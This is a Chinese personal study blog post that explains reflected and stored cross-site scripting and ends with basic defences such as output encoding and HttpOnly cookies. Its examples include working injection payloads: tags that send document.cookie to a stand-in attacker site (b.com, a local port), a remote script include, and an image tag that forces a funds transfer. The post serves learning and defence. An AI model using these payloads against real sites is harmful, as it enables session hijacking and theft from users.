XSS是什么？
cross site Scripting(跨域脚本攻击)，它与SQL注入是非常相似的，SQL注入攻击中以SQL语句作为用户输入，从而达到查询/修改/删除数据的目的，而在XSS攻击中，通过恶意脚本，实现对用户浏览器的控制。好像还有点抽象，它是web程序中常见的漏洞，XSS属于被动式且用于客户端的攻击方式，所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入（传入）恶意的HTML代码或恶意脚本，当其他用户浏览该网站时，这段代码就会自动执行，从而达到攻击的目的。如，盗取用户Cookie，破坏页面结构，重定向到其他网站等。
这段话是使我最能理解的，二话不说贴上来
“XSS原称为CSS(Cross-Site Scripting)，因为和层叠样式表(Cascading Style Sheets)重名，所以改称为XSS(X一般有未知的含义，还有扩展的含义)。XSS攻击涉及到三方：攻击者，用户，web server。用户是通过浏览器来访问web server上的网页，XSS攻击就是攻击者通过各种办法，在用户访问的网页中插入自己的脚本，让其在用户访问网页时在其浏览器中进行执行。攻击者通过插入的脚本的执行，来获得用户的信息，比如cookie，发送到攻击者自己的网站(跨站了)。所以称为跨站脚本攻击。XSS可以分为反射型XSS和持久性XSS，还有DOM Based XSS。(一句话，XSS就是在用户的浏览器中执行攻击者自己定制的脚本。)”
XSS有哪些类型？
1. 非持久型攻击（也叫反射型攻击）。通过GET和POST方法，向服务器端输入数据。用户 输入的数据通常被放置在URL的query string中，或者是form数据中。如果服务器端对输入的数据不进行过滤，验证或编码，就直接将用户输入的信息直接呈现给客户，则可能造成反射型ＸＳＳ。其危害也不小，如在输入框的name中输入<meta http-equiv="refresh" content="5"/>,服务器不加处理，将name直接送到浏览器，则浏览器会每5秒自动刷新一次，那这服务器不得崩溃？另外，非持久型攻击是一次性的，仅对当次的页面访问产生影响。非持久型ＸＳＳ攻击要求用户访问一个被攻击者篡改后的链接，用户访问该链接时，被植入的攻击脚本被用户浏览器执行，从而达到攻击目的
2.持久型攻击（存储型攻击）通常是因为服务器端将用户输入的恶意脚本没有通过验证就直接存储在数据库，并且每次通过调用数据库的方式，将数据呈现在浏览器上。则该ＸＳＳ跨站脚本攻击将一直存在。若其他用户访问该网页，则恶意脚本就会被触发，用于盗取其他用户的私人信息。
总的来说，ＸＳＳ漏洞分为两种，一种是ＤＯＭ ｂａｓｅｄ ＸＳＳ 漏洞，另一种是ｓｔｏｒｅｄ ＸＳＳ漏洞。其实跟上面的两种是一样的。理论上，所有可输入的地方没有对输入数据进行处理的话，都会存在ＸＳＳ漏洞，漏洞的危害取决于攻击代码的威力，攻击代码也不局限于ｓｃｒｉｐｔ。
ＸＳＳ的示例？
1. 输入框中直接输入恶意脚本，如：
><script>alert(document.cookie)</script>
或者 "> <script> document.location.href='http://127.0.0.1:9090/xss?foo='+document.cookie</script>
2. 输入框中输入html标签，在标签中嵌入恶意脚本，如src，href，css style等。
<IMG SRC="javascript:alert('XSS');">;
<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />
<BODY BACKGROUND="javascript:alert('XSS')">
<STYLE>li {list-style-image:url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
3. 将恶意脚本注入在event事件中，如onClick，onBlur，onMouseOver等事件。
<a onmouseover="alert(document.cookie)">xxslink</a>
4. 在remote style sheet，javascript中，如
<LINK REL="stylesheet"HREF="javascript:alert('XSS');">
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
5. META 标签，如
<meta http-equiv="refresh"content="5" />
<META HTTP-EQUIV="Set-Cookie"Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
非持久性攻击的示例：
当我登录a.com后，我发现它的页面某些内容是根据url中的一个叫content参数直接显示的，猜测它测页面处理可能是这样，其它语言类似：
|
<%@ page language="Java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>XSS测试</title> </head> <body> 页面内容：<%=request.getParameter("content")%> </body> </html> |
我知道了Tom也注册了该网站，并且知道了他的邮箱(或者其它能接收信息的联系方式)，我做一个超链接发给他，超链接地址为：http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>，当Tom点击这个链接的时候(假设他已经登录a.com)，浏览器就会直接打开b.com，并且把Tom在a.com中的cookie信息发送到b.com，b.com是我搭建的网站，当我的网站接收到该信息时，我就盗取了Tom在a.com的cookie信息，cookie信息中可能存有登录密码，攻击成功！这个过程中，受害者只有Tom一个。
持久性攻击示例：
由于其攻击代码已经存储到服务器上或者数据库中，所以被攻击者是很多人。
a.com可以发文章，我登录后在a.com中发布了一篇文章，文章中包含了恶意代码，<script>window.open(“www.b.com?param=”+document.cookie)</script>，保存文章。这时Tom和Jack看到了我发布的文章，当在查看我的文章时就都中招了，他们的cookie信息都发送到了我的服务器上，攻击成功！这个过程中，受害者是多个人。
Stored XSS漏洞危害性更大，危害面更广。
session背景知识
我们知道HTTP是一个无状态维持的协议，所有请求/应答都是独立的，其间不保存状态信息。但有些场景下我们需要维护状态信息，例如用户登录完web应用后，再一定时间内，用户再进行登录，应不需要再输入用户名/密码进行鉴权。
这时我们用cookie和session解决状态维护问题，当用户首次登入时，服务器为该用户创建一个 session ID，同时向游览器传送一个 cookie，cookie保存会话连接中用到的数据，session ID作为会话标识，游览器后续的请求均基于该session ID。
攻击者可以提供一个攻击链接，当用户点击该链接时，向攻击者自己的服务器发送一条保存有用户session ID的信息，这样就可以窃取到用户的session ID，得到用户的执行权限。
这篇就写的很好：http://www.cnblogs.com/bangerlee/archive/2013/04/06/3002142.html
ＸＳＳ的防御？
ｘｓｓ存在的根本原因是，对ＵＲＬ中的参数，对用户输入提交给服务器的内容，没有进行充分的过滤。如果我们能够在ｗｅｂ程序中，对用户提交的ＵＲＬ中的参数，和提交的所有内容，进行充分的过滤，将所有的不合法的参数和输入的内容过滤掉，那么就不会导致“在用户的浏览器中执行攻击者自己制定的脚本”。
但是，其实充分是而完全的过滤，实际上是无法实现的，因为攻击者有各种各样的神奇的，你完全想象不到的方式来绕过服务器端的过滤，最典型的就是对ＵＲＬ和参数进行各种编码，比如 escape, encodeURI, encodeURIComponent, 16进制，10进制，8进制，来绕过XSS过滤。那么我们如何来防御XSS呢？
总体思路是：对输入的的值进行过滤，对输出进行编码。也就是对所提交的所有内容进行过滤，对ＵＲＬ中的参数进行过滤，过滤会导致脚本执行的相关内容；然后对动态输出到页面的ｈｔｍｌ编码，使得脚本无法在浏览器中执行。虽然对输入过滤可以被绕过，但还是会拦截很大一部分的ｘｓｓ攻击的哦。
1、对于敏感的cookie信息，使用HttpOnly，使document对象中找不到cookie。 2、对于用户输入的信息要进行转义
得弄个示例，以后回来继续！
本文整理仅供小爱个人学习